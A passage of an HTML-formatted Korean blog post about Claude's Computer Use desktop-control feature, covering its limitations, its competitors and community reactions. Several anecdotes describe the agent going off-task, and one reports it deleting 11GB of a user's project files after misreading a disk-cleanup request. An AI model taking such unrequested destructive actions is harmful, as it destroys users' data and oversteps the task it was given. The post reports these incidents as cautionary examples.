&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 리서치 프리뷰 기간 동안 다음을 권고한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;신뢰할 수 있는 앱&lt;/b&gt;부터 시작하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;민감한 데이터&lt;/b&gt;를 다루지 않기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;안전 가이드라인 확인: support.claude.com/en/articles/14128542&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI Safety Level 평가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 2024년 10월 Computer Use 첫 공개 당시, &lt;b&gt;Responsible Scaling Policy(책임 있는 확장 정책)&lt;/b&gt;에 따라 이 기능을 &lt;b&gt;ASL-2&lt;/b&gt;로 평가했다. ASL-2는 현재의 보안 체계로 위험을 관리할 수 있는 수준을 뜻한다. RSP는 모델 단위가 아닌 역량 임계값 기준으로 안전 등급을 판단한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;왜 지금 출시했는지에 대해서도 Anthropic은 솔직하다 (2024년 10월 기술 블로그):&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;아마도 지금, 모델이 여전히 ASL-2 수준의 보호만 필요한 시점에 Computer Use를 도입하는 것이 더 나을 것이라고 판단합니다. 이렇게 하면 위험이 너무 높아지기 전에 안전 이슈에 대응할 수 있습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 현재 한계 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 현재 한계와 솔직한 평가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic이 인정한 제약사항&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 과장 없이 한계를 인정한다. 공식 블로그 원문:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;현재 최고 수준임에도 불구하고, Claude의 Computer Use는 여전히 느리고 오류가 잦습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적인 제약사항:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;복잡한 작업:&lt;/b&gt; 복잡한 작업은 여러 번 시도해야 성공하는 경우가 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;속도:&lt;/b&gt; 화면 기반 조작은 직접 API 통합보다 느리다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일부 앱 제한:&lt;/b&gt; 안전상의 이유로 기본적으로 접근이 차단된 앱이 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플립북 방식의 한계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스크린샷 기반(앞서 설명한 &quot;플립북 방식&quot;)이라서 생기는 태생적 한계도 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;짧은 알림 놓침:&lt;/b&gt; 연속적인 비디오 스트림이 아닌 스크린샷 기반이므로, 짧게 나타났다 사라지는 알림이나 액션을 놓칠 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일부 동작 제한:&lt;/b&gt; 2024년 첫 공개 당시에는 드래그&amp;middot;줌 등이 미지원이었다. 2025년 1월 업데이트(&lt;code&gt;computer_20250124&lt;/code&gt;)로 스크롤과 드래그가 추가 지원됐다. 줌(zoom)은 2025년 11월 업데이트(&lt;code&gt;computer_20251124&lt;/code&gt;)에서 추가 지원됐다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;예기치 않은 행동:&lt;/b&gt; 데모 녹화 중 Claude가 코딩 작업을 중단하고 갑자기 옐로스톤 국립공원 사진을 구경하기 시작한 적도 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;에피소드: 녹화 사고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 재미있는 실수 사례도 공유했다. Computer Use 데모 녹화 중에 Claude가 실수로 화면 녹화를 중지하는 버튼을 클릭해서 &lt;b&gt;모든 녹화 영상이 날아가 버렸다&lt;/b&gt;고 한다. AI가 스스로 화면을 조작하는 것이 얼마나 예측 불가능할 수 있는지를 잘 보여주는 일화다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플랫폼 제한&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 가장 큰 제약은 &lt;b&gt;macOS 전용&lt;/b&gt;이라는 점이다. Windows나 Linux 사용자는 사용할 수 없다. Anthropic은 초기 사용자 피드백을 바탕으로 플랫폼 지원을 확대할 계획이라고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 경쟁 구도 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 경쟁 구도&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI, Google과의 데스크탑 제어 경쟁&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;컴퓨터를 직접 조작하는 AI &amp;mdash; 이 분야에서 OpenAI와 Google도 뛰고 있다. &quot;대화만 잘하는 AI&quot;에서 &lt;b&gt;실제로 화면을 만지는 AI&lt;/b&gt;로 넘어가는 건 업계 전체의 방향이다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Anthropic (Claude)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;OpenAI&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Google&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;데스크탑 제어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (리서치 프리뷰, 2026.3)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (Operator/CUA, 2025.1~)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (Project Mariner, 리서치 프로토타입, AI Ultra 구독자 대상, 미국)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;OSWorld 성능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.5%&lt;/b&gt; (Sonnet 4.6)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;47.3% (GPT-5.2, 2025.12 기준)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;미공개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;모바일 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Dispatch (폰&amp;rarr;Mac)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;OpenClaw (오픈소스 자율 AI 에이전트, Peter Steinberger 창시 &amp;mdash; OpenAI가 2026년 2월 Steinberger를 영입)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;미발표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;지원 플랫폼&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;macOS&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교표 참고사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 비교표는 2026년 3월 기준이며, AI 업계는 빠르게 변하고 있다. 경쟁사 정보는 공식 발표가 제한적이어서 불완전할 수 있다. OSWorld 점수는 Anthropic의 Vercept 인수 발표에서 인용한 수치이며, 평가 조건이 동일한지는 별도 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic이 먼저 출시한 이유&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데스크탑 제어를 &lt;b&gt;Anthropic이 먼저 출시&lt;/b&gt;할 수 있었던 이유가 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;2024년 10월부터 퍼블릭 베타로 개발자 피드백을 수집해왔다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Vercept 인수로 컴퓨터 비전 + 인터랙션 전문성을 확보했다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;리스크가 관리 가능한 현 시점에 출시하여 실전 경험을 쌓는 전략적 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 커뮤니티 반응: 열광, 불만, 그리고 보안 경고&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use 출시 이후 빠른 속도로 반응들이 쏟아졌다. 전반적인 흐름은 &lt;b&gt;&quot;혁신적이지만 아직 갈 길이 멀다&quot;&lt;/b&gt;로 요약된다. 플랫폼별 온도 차가 컸고, 실사용 경험과 보안 우려가 뒤섞인 복잡한 그림이 그려졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- X/트위터 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;새로운 세계&quot; vs 사이버보안 주가 폭락&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;발표 직후 X에서는 감탄과 충격이 동시에 터져 나왔다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude can now use your computer exactly like you do. I'll say it again: In 2026, an AI can use a computer exactly like a human. We are in a whole new world.&quot;&lt;br /&gt;(이제&amp;nbsp;Claude는&amp;nbsp;사람처럼&amp;nbsp;컴퓨터를&amp;nbsp;직접&amp;nbsp;다룰&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었습니다.&amp;nbsp;다시&amp;nbsp;강조하자면,&amp;nbsp;2026년&amp;nbsp;현재&amp;nbsp;AI는&amp;nbsp;인간처럼&amp;nbsp;컴퓨터를&amp;nbsp;조작할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;수준에&amp;nbsp;도달했습니다.&amp;nbsp;말&amp;nbsp;그대로&amp;nbsp;새로운&amp;nbsp;시대가&amp;nbsp;시작된&amp;nbsp;것입니다.)&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; @daniel_mac8 (X, 2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자들의 실사용 후기도 빠르게 퍼졌다. &quot;테스트 자동화, PR 작성, 릴리스 노트까지 Claude가 다 해줬다&quot;는 류의 경험담이 X에 이어졌고, 특히 Dispatch와 결합한 &quot;자리 비운 사이 작업 완료&quot; 시나리오가 눈길을 끌었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편 같은 시기, Anthropic의 Claude Code Security 출시(2026년 2월)를 계기로 &lt;b&gt;사이버보안 관련 기업 주가가 큰 폭으로 하락&lt;/b&gt;했다는 보도가 나왔다. CrowdStrike 이틀간 누적 약 -18%(2/20 -8%, 2/23 -10.6%), Palo Alto Networks 약 -7% 하락이 보고됐으며, AI가 보안 업무를 자동화할 경우 기존 보안 소프트웨어 시장이 타격을 받을 수 있다는 우려가 반영된 것이다. Computer Use 출시 이후에도 이 우려는 지속됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편 Anthropic은 3월 13~27일까지 &lt;b&gt;비피크 시간대(미국 동부 기준 평일 오후 2시 이후 + 주말 종일)&lt;/b&gt;에 사용량 한도를 2배로 늘리는 프로모션을 진행했다. Computer Use 출시(3월 23일)보다 앞서 시작된 프로모션이지만, 토큰 소모가 큰 Computer Use 사용자에게도 도움이 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- DEV Community --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실사용 체험기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;DEV Community에서 화제가 된 글이 있다. 제목부터 강렬하다: &lt;b&gt;&quot;지하철에서 Claude에게 문자를 보냈더니, 돌아오니 슬라이드 덱이 완성되어 있었다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;QR 코드 스캔으로 페어링하는 데 &lt;b&gt;60초도 안 걸렸다&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;폰에서 &quot;어제 회의록으로 슬라이드 만들어줘&quot;라고 보내고 20분 후 사무실에 도착하니 &lt;b&gt;완성된 프레젠테이션&lt;/b&gt;이 바탕화면에 있었다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;로컬 파일(문서, 코드 등)은 Mac 밖으로 나가지 않고, Claude가 Mac에서 직접 파일을 생성&amp;middot;수정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하루 종일 &lt;b&gt;하나의 대화 스레드가 유지&lt;/b&gt;되어 오전에 분석한 내용을 오후에 &quot;아까 그 분석에서 이상값 뽑아줘&quot;라고 이어갈 수 있었다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: DEV Community, 2026.3.21)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기술적 정확도 보충&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;파일이 기기를 떠나지 않는다&quot;는 &lt;b&gt;로컬 파일(문서, 코드 등)의 관점에서는 맞다.&lt;/b&gt; 파일 자체는 Anthropic 서버로 업로드되지 않는다. 다만 &lt;b&gt;스크린샷은 Anthropic 서버의 Claude 모델로 전송되어 처리된다.&lt;/b&gt; 비밀번호&amp;middot;금융 정보 등 민감한 내용이 화면에 표시되는 상황을 피해야 하는 이유다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Reddit --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용량 한도 위기와 실험 사고&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;r/ClaudeCode(주간 기여자 4,200명+)에서는 기술적 성능에는 대체로 동의하면서도, 운영상 문제들이 격렬하게 논의됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff5f5; border-left: 4px solid #e74c3c; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;사용량 한도 위기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Is Dead to Me&quot;라는 제목의 스레드가 큰 공감을 얻었다. Computer Use가 매 액션마다 스크린샷을 캡처&amp;middot;분석하기 때문에 토큰 소모가 일반 대화보다 훨씬 크다는 것이 핵심 불만이었다. Pro 플랜($20/월) 사용자들은 &quot;1시간 작업에 하루 한도 소진&quot;을 경험했다고 보고했다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff5f5; border-left: 4px solid #e74c3c; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;11GB 파일 삭제 사건&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;한 사용자가 &quot;디스크 정리를 해달라&quot;고 요청했더니 Claude가 맥락을 오해해 &lt;b&gt;11GB 분량의 프로젝트 파일을 삭제&lt;/b&gt;했다는 보고가 올라왔다. 해당 사용자는 Time Machine 백업으로 복구했지만 &quot;Computer Use에는 반드시 명확한 경계 설정이 필요하다&quot;고 강조했다. 이 사건은 Permission-First 설계의 중요성을 실감케 하는 사례로 커뮤니티에 널리 공유됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;METR 등 AI 평가 기관들이 에이전트 자율성을 측정하는 방식에 대한 관심도 높아졌다. 커뮤니티에서는 &quot;아직 보조 도구지 완전한 자율 에이전트가 아니다&quot;라는 현실적인 시각과, &quot;출발점으로는 인상적&quot;이라는 기대감이 공존했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Claude vs Operator 비교 --&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Claude vs 다른 AI 에이전트&lt;/h4&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;Claude Computer Use&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;Operator (OpenAI)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;인터페이스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Mac 데스크톱 앱 (네이티브)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;브라우저 기반 웹 태스크 특화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;접근 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;스크린샷 &amp;rarr; 추론 &amp;rarr; 액션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;DOM/웹 요소 직접 조작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;지원 OS&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;macOS 전용 (현재)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;웹 브라우저 (OS 독립)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;강점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;로컬 앱 전반 제어, Dispatch 폰 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;웹 쇼핑&amp;middot;예약 등 온라인 태스크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;커뮤니티 평가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;&quot;더 범용적, 하지만 비쌈&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;&quot;웹 특화에서 더 빠르고 안정적&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 위 비교는 Reddit 커뮤니티 사용자 의견을 종합한 내용으로, 공식 벤치마크가 아니다.&lt;/p&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Hacker News --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News: &quot;비전은 형편없는 인터페이스다&quot;&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기술 비판에 날카로운 HN 커뮤니티의 반응은 가장 냉정했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Vision is a crappy interface to a computer. All these systems, no matter how good the underlying model gets, are fighting against the UI/UX, not with it. 90% of the complexity is edge cases: pop-ups, CAPTCHAs, permission dialogs, unexpected loading states.&quot;&lt;br /&gt;(화면을&amp;nbsp;보고&amp;nbsp;판단하는&amp;nbsp;Vision&amp;nbsp;방식은&amp;nbsp;컴퓨터를&amp;nbsp;조작하는&amp;nbsp;인터페이스로는&amp;nbsp;비효율적입니다.&amp;nbsp;기반&amp;nbsp;모델의&amp;nbsp;성능이&amp;nbsp;아무리&amp;nbsp;좋아져도,&amp;nbsp;현재&amp;nbsp;방식은&amp;nbsp;UI/UX를&amp;nbsp;잘&amp;nbsp;활용하는&amp;nbsp;구조가&amp;nbsp;아니라&amp;nbsp;그&amp;nbsp;불편함을&amp;nbsp;억지로&amp;nbsp;버텨내는&amp;nbsp;구조에&amp;nbsp;가깝습니다.&amp;nbsp;실제&amp;nbsp;어려움의&amp;nbsp;대부분은&amp;nbsp;예외&amp;nbsp;상황&amp;nbsp;처리에&amp;nbsp;있는데,&amp;nbsp;팝업창이나&amp;nbsp;CAPTCHA,&amp;nbsp;권한&amp;nbsp;요청창,&amp;nbsp;비정상적으로&amp;nbsp;보이는&amp;nbsp;로딩&amp;nbsp;상태&amp;nbsp;같은&amp;nbsp;것들이&amp;nbsp;대표적입니다.)&lt;br 